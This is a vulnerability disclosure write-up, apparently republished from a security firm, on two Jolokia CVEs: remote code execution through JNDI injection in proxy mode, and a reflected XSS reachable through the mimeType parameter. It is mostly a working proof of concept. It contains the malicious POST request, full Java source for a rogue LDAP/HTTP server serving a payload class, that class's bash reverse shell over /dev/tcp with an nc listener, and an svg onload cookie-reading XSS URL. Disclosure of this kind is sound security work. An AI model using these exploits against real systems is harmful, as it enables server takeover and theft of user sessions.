Jolokia Vulnerabilities - RCE & XSS(CVE-2018-1000130,CVE-2018-1000129)

2018-04-1900:00:00

Knownsec

www.seebug.org

838

0.892 High

EPSS

Percentile

98.4%

JSON

Recently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks.

THE FOLLOWING ISSUES ARE DESCRIBED BELOW:

Remote Code Execution via JNDI Injection – CVE-2018-1000130
Cross-Site Scripting – CVE-2018-1000129

AFFECTED VERSIONS:
1.4.0 and below. Version 1.5.0 addresses both issues.
Before we start, a little humour - if someone thinks that the documentation is useless for bug hunters, look at this:

REMOTE CODE EXECUTION VIA JNDI INJECTION CVE-2018-1000130

The Jolokia service has a proxy mode that was vulnerable to JNDI injection by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input.

JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution.

If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation.

STEPS TO REPRODUCE:
For demonstration purposes we’ll run all of the components in the exploit chain on the loopback interface.
The following POST request can be used to exploit this vulnerability:

POST /jolokia/ HTTP/1.1
Host: localhost:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 206

{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "target" : { 
         "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi"
    } 
}

We need to create LDAP and HTTP servers in order to serve a malicious payload. These code snippets were originally taken from marshalsec and zerothoughts GitHub repositories.

public class LDAPRefServer {
  private static final String LDAP_BASE = "dc=example,dc=com";
  public static void main ( String[] args ) {
    int port = 1389;
    // Create LDAP Server and HTTP Server
    if ( args.length &lt; 1 || args[ 0 ].indexOf('#') &lt; 0 ) {
      System.err.println(LDAPRefServer.class.getSimpleName() + " &lt;codebase_url#classname&gt; [&lt;port&gt;]"); 
      System.exit(-1);
    }
    else if ( args.length &gt; 1 ) {
      port = Integer.parseInt(args[ 1 ]);
    }
    try {
      InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
      config.setListenerConfigs(new InMemoryListenerConfig(
        "listen",
        InetAddress.getByName("0.0.0.0"), 
        port,
        ServerSocketFactory.getDefault(),
        SocketFactory.getDefault(),
        (SSLSocketFactory) SSLSocketFactory.getDefault()));
      config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
      InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
      System.out.println("Listening on 0.0.0.0:" + port); 
      ds.startListening();

      System.out.println("Starting HTTP server");
      HttpServer httpServer = HttpServer.create(new InetSocketAddress(7873), 0);
      httpServer.createContext("/",new HttpFileHandler());
      httpServer.setExecutor(null);
      httpServer.start();

    } catch ( Exception e ) {
      e.printStackTrace();
    }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {
    private URL codebase;
    public OperationInterceptor ( URL cb ) {
      this.codebase = cb;
    }

    @Override
    public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
      String base = result.getRequest().getBaseDN();
      Entry e = new Entry(base);
      try {
        sendResult(result, base, e);
      } catch ( Exception e1 ) {
        e1.printStackTrace();
      }
    }
    
    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
      URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
      System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
      e.addAttribute("javaClassName", "ExportObject");
      String cbstring = this.codebase.toString();
      int refPos = cbstring.indexOf('#');
      if ( refPos &gt; 0 ) {
        cbstring = cbstring.substring(0, refPos);
      }
      System.out.println("javaCodeBase: " + cbstring);
      e.addAttribute("javaCodeBase", cbstring);
      e.addAttribute("objectClass", "javaNamingReference"); 
      e.addAttribute("javaFactory", this.codebase.getRef());
      result.sendSearchEntry(e);
      result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
  }
}

public class HttpFileHandler implements HttpHandler {
  public void handle(HttpExchange httpExchange) {
    try {
      System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
      InputStream inputStream = HttpFileHandler.class.getResourceAsStream("ExportObject.class");
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      while(inputStream.available()&gt;0) {
        byteArrayOutputStream.write(inputStream.read());
      }

      byte[] bytes = byteArrayOutputStream.toByteArray();
      httpExchange.sendResponseHeaders(200, bytes.length);
      httpExchange.getResponseBody().write(bytes);
      httpExchange.close();
    } catch(Exception e) {
      e.printStackTrace();
    }
  }
}

After that we need to create an ExportObject.java with reverse shell command. The bytecode of this class will be served from our HTTP server:

public class ExportObject {
  public ExportObject() {
    try {
      System.setSecurityManager(null);
      java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i &gt;& /dev/tcp/127.0.0.1/7777 0&gt;&1`");
    } catch(Exception e) {
      e.printStackTrace();
    }
  }
}

The LDAP Server should be run with the following command line arguments:

http://127.0.0.1:7873/#ExportObject 9092

where:
http://127.0.0.1:7873/ is the URL of the attacker’s HTTP server
ExportObject is name of the Java class containing the attacker’s code
9092 is the LDAP server listen port
Start an nc listener on port 7777:

$ nc -lv 7777

After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server.

When the LDAP server, listening on the port 9092, receives a request from the vulnerable server, it creates an Entry object with attributes and returns it in the LDAP response.

e.addAttribute("javaClassName", "ExportObject");
e.addAttribute("javaCodeBase", "http://127.0.0.1/");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "ExportObject");

When the vulnerable server receives the LDAP response, it fetches the ExportObject.class from the attacker’s HTTP server, instantiates the object and executes the reverse shell command.

The attacker receives the connection back from the vulnerable server on his nc listener.

CROSS-SITE SCRIPTING CVE-2018-1000129

The Jolokia web application is vulnerable to a classic Reflected Cross-Site Scripting (XSS) attack. By default, Jolokia returns responses with application/json content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter mimeType to the request:

http://localhost:8161/api/jolokia/read?mimeType=text/html

After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’:

http://localhost:8161/api/jolokia/read&lt;svg%20onload=alert(docu
ment.cookie)&gt;?mimeType=text/html

With text/html Content Type, the classic reflected XSS attack is possible. Exploiting this issue allows an attacker to supply arbitrary client-side javascript code within application input parameters that will ultimately be rendered and executed within the end user’s web browser. This can be leveraged to steal cookies in the vulnerable domain and potentially gain unauthorised access to a user’s authenticated session, alter the content of the vulnerable web page, or compromise the user’s web browser.